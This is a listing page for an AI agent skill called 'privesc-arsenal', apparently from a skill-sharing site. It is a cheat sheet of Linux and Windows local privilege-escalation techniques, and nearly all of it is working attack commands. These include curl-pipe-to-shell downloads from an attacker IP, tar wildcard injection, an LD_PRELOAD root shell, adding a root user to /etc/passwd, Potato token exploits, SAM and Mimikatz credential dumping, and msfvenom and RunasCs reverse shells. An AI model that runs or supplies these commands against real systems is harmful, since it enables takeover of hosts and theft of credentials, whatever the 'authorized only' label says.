# Privesc Arsenal > One line: Linux + Windows local privilege-escalation tool arsenal for authorized engagements. Trigger signals: "privesc", "got a shell", "escalate", "root", "SYSTEM", initial access gained but not root. Authorized, in-scope targets only. - Skill: `noorqureshi/privesc-arsenal` (Agent Skill) - Install (CLI): `npx skillmds@latest add noorqureshi/privesc-arsenal` - Raw SKILL.md: https://api.skillmd.com/api/skills/noorqureshi/privesc-arsenal/raw - Safety review: WARNING - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Coding & Dev Tools - Author: NoorQureshi (https://skillmd.com/u/noorqureshi) - Updated: 2026-09-17 - Page: https://skillmd.com/skills/noorqureshi/privesc-arsenal --- # Local Privilege Escalation Arsenal Loads once a foothold/shell exists and you need root/SYSTEM. Authorized, in-scope targets only. Enumerate the cheap wins first (`sudo -l`, SUID, caps / `whoami /priv`) before reaching for kernel or token exploits. ## Linux ### Automated enumeration - **linpeas.sh** — one-shot enum of every common vector; run early. `curl 10.10.14.5:8000/linpeas.sh | sh` (or transfer + `./linpeas.sh -a`). Grep the output: red/yellow highlights = likely wins. Look for `sudo`, `SUID`, `Capabilities`, `writable` paths, `PATH`, cron, cleartext creds. Gotcha: noisy — pipe to a file (`./linpeas.sh > lp.txt`) and read it, don't scroll the terminal. - **pspy** — watches processes/cron without root; catches root-run cron jobs and their commands. `./pspy64 -pf -i 1000` (`-p` procs, `-f` file events, `-i` poll ms). Gotcha: leave it running a few minutes to catch periodic cron. - **linux-exploit-suggester** (LES) — maps `uname -a` / kernel to public exploits. `./les.sh` on target, or `./les.sh -k 5.4.0`. Treat output as leads to verify, not guaranteed. - **LinEnum** — older but reliable broad enum; complements linpeas. `./LinEnum.sh -t` (`-t` = thorough). ### Manual quick wins - **sudo -l** — the first thing you run. Lists what you may run as another user. `sudo -l`. Any allowed binary → look it up on **GTFOBins** (gtfobins.github.io) for the sudo escape. `NOPASSWD` entries and env-preserving rules (`env_keep`, `LD_PRELOAD`) are gold. - **SUID/SGID binaries** — run as file owner regardless of caller. `find / -perm -4000 -type f 2>/dev/null` (SUID; use `-2000` for SGID). Cross-reference each unusual binary against **GTFOBins** "SUID" section. Gotcha: ignore standard ones (`passwd`, `sudo`, `mount`); hunt the odd one out. - **Capabilities** — fine-grained root powers on a binary. `getcap -r / 2>/dev/null`. `cap_setuid+ep` on e.g. python/perl → `python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'`. Also `cap_dac_read_search` (read any file), `cap_setgid`. Check GTFOBins "Capabilities". - **Cron jobs & writable scripts** — root cron running a script you can write = root. `cat /etc/crontab`, `ls -la /etc/cron.*`, and pspy. If a cron'd script or any dir in its path is writable → inject a reverse shell / `chmod +s /bin/bash`. **Wildcard injection**: if a root cron runs `tar czf backup.tar.gz *` (or `chown`/`rsync`) in a writable dir, drop crafted filenames as arguments — `echo 'cmd' > shell.sh; touch -- '--checkpoint=1'; touch -- '--checkpoint-action=exec=sh shell.sh'`. - **sudo env_keep (LD_PRELOAD / LD_LIBRARY_PATH)** — if `sudo -l` shows `env_keep+=LD_PRELOAD`, compile a tiny `.so` whose `_init()` does `setuid(0);system("/bin/bash -p")`, then `sudo LD_PRELOAD=/tmp/x.so `. `LD_LIBRARY_PATH` works the same by shadowing a library the allowed binary loads (`ldd`). - **Writable systemd unit or timer** — `find / -writable -name '*.service' -o -writable -name '*.timer' 2>/dev/null`; point `ExecStart=` at a reverse shell, then it runs as the unit's user (often root) on start/timer fire. - **Writable /etc/passwd** — if writable, add a root user. `openssl passwd -1 -salt x pass123` → append `hacker:$1$x$hash:0:0::/root:/bin/bash` then `su hacker`. Gotcha: also check `/etc/shadow` readable. - **PATH hijack** — a root SUID/cron program calling a binary by bare name (no absolute path). Prepend a writable dir to `PATH` and drop a malicious binary with that name. `export PATH=/tmp:$PATH` after `echo '/bin/bash' > /tmp/; chmod +x`. - **NFS no_root_squash** — an export mounted with `no_root_squash` lets a remote root write root-owned SUID files. `showmount -e `, mount it, place a SUID root shell as your own root, execute on target. - **docker / lxd group** — membership = root-equivalent. Docker: `docker run -v /:/mnt -it alpine chroot /mnt sh`. lxd: import an alpine image, launch a privileged container mounting `/`. - **Kernel / distro exploits** — last resort. `uname -r` → `searchsploit linux kernel ` or `linux-exploit-suggester`. Reliable named ones by version: **DirtyPipe** (CVE-2022-0847, ≥5.8), **DirtyCow** (CVE-2016-5195), **PwnKit** (CVE-2021-4034, polkit `pkexec`), **Baron Samedit** (CVE-2021-3156, sudo <1.9.5p2), **GameOver(lay)** (CVE-2023-2640/32629, Ubuntu OverlayFS). Gotcha: can panic/crash the host — only after `sudo -l`, SUID, and caps are exhausted; verify the exact kernel/distro match before running. ## Windows ### Automated enumeration - **winPEAS** — Windows equivalent of linpeas. `winPEASx64.exe` (or `.bat` fallback). Highlights services, privileges, creds, AlwaysInstallElevated. - **PrivescCheck.ps1** — lightweight, AMSI-friendly. `. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended`. - **PowerUp** — service/registry misconfig hunter. `. .\PowerUp.ps1; Invoke-AllChecks`. Flags unquoted paths, weak service perms, AlwaysInstallElevated with ready-made abuse functions. - **WES-NG** — offline patch-diff. On target `systeminfo > sys.txt`, then `wes.py sys.txt` locally maps missing KBs to exploits. Gotcha: run `wes.py --update` first. - **Seatbelt** — targeted host survey (creds, tokens, sessions). `Seatbelt.exe -group=all`. ### Token / privilege abuse - **whoami /priv** — run this first. Enabled `Se*Privilege`s are direct paths. - **SeImpersonatePrivilege → Potato family** — impersonate SYSTEM token (common on service/IIS/MSSQL accounts). **PrintSpoofer** (`PrintSpoofer64.exe -i -c cmd`) or **GodPotato** (`GodPotato -cmd "cmd /c whoami"`) for Server 2019/2022 + Win10/11. **JuicyPotato** only for older ≤ Server 2016 / Win10 pre-1809. Gotcha: pick by OS build — JuicyPotato fails on modern builds; GodPotato/PrintSpoofer are the modern go-to. - **SeBackupPrivilege / SeRestorePrivilege** — read/write any file. Back up the SAM & SYSTEM hives (`reg save hklm\sam sam.hive`, `reg save hklm\system system.hive`) then `secretsdump.py -sam sam.hive -system system.hive LOCAL` for hashes. - **Unquoted service paths** — space in an unquoted `ImagePath` lets Windows run your planted exe. `wmic service get name,pathname,startmode | findstr /i /v "C:\Windows"` → drop exe at the earlier path if the dir is writable, restart service. - **Weak service permissions** — reconfigure a service you can edit. `accesschk.exe -uwcqv "user" *` or PowerUp; `sc config binPath= "C:\path\rev.exe"` then `sc start `. - **AlwaysInstallElevated** — both registry keys = 1 lets any MSI run as SYSTEM. Check `reg query HKLM\...\Installer /v AlwaysInstallElevated` (and HKCU). `msfvenom -p windows/x64/shell_reverse_tcp ... -f msi -o r.msi` then `msiexec /quiet /i r.msi`. - **Autoruns** — writable auto-start binary run by a privileged user. PowerUp / winPEAS flag these; replace the exe. - **Stored credentials** — `cmdkey /list` (then `runas /savecred`), `reg query` for autologon/PuTTY creds, `unattend.xml` / `sysprep.inf` / `Groups.xml` (GPP), and SAM/SYSTEM via `reg save`. Search: `findstr /si password *.txt *.xml *.config`. - **runas / RunasCs** — use recovered creds without an interactive session. `RunasCs.exe user pass "cmd" -r 10.10.14.5:4444` (`-r` = reverse-shell redirect). - **Mimikatz** — once SYSTEM, dump creds/hashes for lateral movement. `privilege::debug` then `sekurlsa::logonpasswords`, or `lsadump::sam`. Gotcha: needs SYSTEM/debug; use it to harvest, not to escalate. ## Shell stabilization & file transfer - **Upgrade a dumb TTY** — `python3 -c 'import pty; pty.spawn("/bin/bash")'`, then Ctrl-Z, `stty raw -echo; fg`, then `export TERM=xterm`. Now Ctrl-C, tab-complete, and editors work. - **Transfers (Linux)** — attacker: `python3 -m http.server 8000`; target: `wget http://10.10.14.5:8000/linpeas.sh` or `curl -O ...`. Or `scp file user@target:/tmp` with creds. Quick pipe: `nc -lvnp 9001 < file` / `nc target 9001 > file`. - **Transfers (Windows)** — `certutil -urlcache -f http://10.10.14.5:8000/winpeas.exe wp.exe`, PowerShell `iwr http://10.10.14.5:8000/x.exe -o x.exe` (or `(New-Object Net.WebClient).DownloadFile(...)`). SMB pull: attacker `impacket-smbserver share . -smb2support`, target `copy \\10.10.14.5\share\x.exe`. ## Discipline - Always run `sudo -l` and check SUID + capabilities (Linux) / `whoami /priv` (Windows) before anything heavier. - Kernel exploits are the **last resort** — they can crash/panic the host; exhaust config-based vectors first and match the exact kernel/build. - On Windows, enabled privileges in `whoami /priv` usually beat hunting for CVEs — check them first. - Cross-reference every sudo/SUID/capability finding against **GTFOBins**; every Windows service/registry finding against PowerUp output.